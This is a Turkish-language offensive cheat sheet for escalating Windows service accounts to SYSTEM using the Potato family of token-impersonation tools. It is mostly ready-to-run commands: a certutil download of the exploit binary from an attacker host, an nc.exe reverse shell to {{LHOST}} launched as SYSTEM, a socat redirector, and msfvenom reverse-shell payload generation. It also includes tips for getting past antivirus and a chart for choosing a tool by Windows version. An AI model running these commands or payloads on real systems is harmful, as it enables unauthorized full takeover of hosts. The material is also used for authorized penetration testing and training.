SeImpersonate / SeAssignPrimaryToken Abuse — Potato Ailesi (PrintSpoofer, RoguePotato, JuicyPotatoNG, GodPotato, EfsPotato)
SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege tasiyan servis hesaplarini (IIS, MSSQL, sched task) NT AUTHORITY\SYSTEM'e yukselten tum Potato ailesinin secim rehberi: hangi Windows surumunde hangi araci kullanacaginiz ve calisma mantigi.
- whoami /priv ciktisinda SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege = Enabled
- Hedefe binary tasiyabilecek bir shell (servis hesabi: iis apppool, mssql, network service, local service)
Komutlar
whoami /priv | findstr /i "impersonate primarytoken" certutil.exe -urlcache -split -f http://{{LHOST}}:{{LPORT}}/PrintSpoofer64.exe C:\Windows\Temp\ps.exe C:\Windows\Temp\ps.exe -i -c cmd C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\rev.exe" C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami" C:\Windows\Temp\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc.exe {{LHOST}} {{LPORT}} -e cmd" C:\Windows\Temp\RoguePotato.exe -r {{LHOST}} -e "C:\Windows\Temp\rev.exe" -l 9999 socat tcp-listen:135,reuseaddr,fork tcp:{{RHOST}}:9999 C:\Windows\Temp\EfsPotato.exe "whoami" C:\Windows\Temp\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\rev.exe" Mantik
Servis hesaplari (iis apppool…, NT Service\MSSQLSERVER, NETWORK SERVICE, LOCAL SERVICE) genellikle SeImpersonatePrivilege tasir. Bu ayricalik, bir SYSTEM token’ini ele gecirip impersonate ederek o token ile yeni process baslatmaya izin verir. Potato ailesi, SYSTEM’in baglandigi bir RPC/DCOM/named-pipe kanalini kandirip kimlik dogrulamayi ele gecirmenin farkli yontemleridir.
On Kontrol
whoami /priv ciktisinda SeImpersonatePrivilege = Enabled (veya SeAssignPrimaryTokenPrivilege) gormeniz sart. Yoksa bu aile calismaz; SeAssignPrimaryToken icin win-assignprimarytoken sayfasina bakin.
Hangi Araci Ne Zaman (surum bazli secim)
- PrintSpoofer — ilk tercih. Print Spooler servisi calisiyorsa Win10 / Server 2016-2019’da en stabil; harici port/redirector gerektirmez.
-i -c cmdinteraktif SYSTEM verir. - GodPotato — en genis uyumluluk. Server 2012 R2 → 2022, Windows 8 → 11. Hedefin .NET surumune gore (NET2 / NET35 / NET4) binary secin. Spooler kapali olsa da calisir. Modern lab’larda varsayilan tercih.
- EfsPotato — Spooler kapali ve GodPotato bloklandiginda; MS-EFSR RPC’yi kullanir.
- RoguePotato — JuicyPotato modern Windows’ta (1809/Server2019+) calismayinca devreye girer. Harici OXID resolver ister: Kali’de
socat tcp-listen:135,fork,reuseaddr tcp:{{RHOST}}:9999calistirin ve-r {{LHOST}}verin. Hedeften 135 cikisi gerekir. - JuicyPotatoNG — klasik JuicyPotato’nun yeni CLSID/port mantikli surumu; bazi guncel build’lerde tekrar calisir. Klasik JuicyPotato’yu yalnizca eski sistemlerde (Win7/8, Server 2008-2016) deneyin.
Karar Ozeti
Modern lab → GodPotato dene. Spooler acik ve eski-orta surum → PrintSpoofer. 135 disari acik, digerleri patli → RoguePotato. Spooler kapali + GodPotato bloklu → EfsPotato. Cok eski sistem → JuicyPotato / JuicyPotatoNG.
Reverse Shell ile Kullanim
Interaktif olmayan shell’lerde (-i calismaz) once Kali’de msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o rev.exe ile payload uretin, hedefe tasiyin, ardindan Potato’nun -c/-cmd/-e parametresi ile SYSTEM olarak calistirin. Kali’de nc -lvnp {{LPORT}} dinleyin.
Notlar
- Tum binary’leri C:\Windows\Temp veya yazma yetkiniz olan bir dizine koyun (iis apppool genelde inetpub’a yazabilir).
- AV yakalarsa GodPotato/PrintSpoofer’in farkli derlemelerini veya
.NETsurum varyantlarini deneyin. - Basari teyidi: SYSTEM shell’de
whoami→nt authority\system.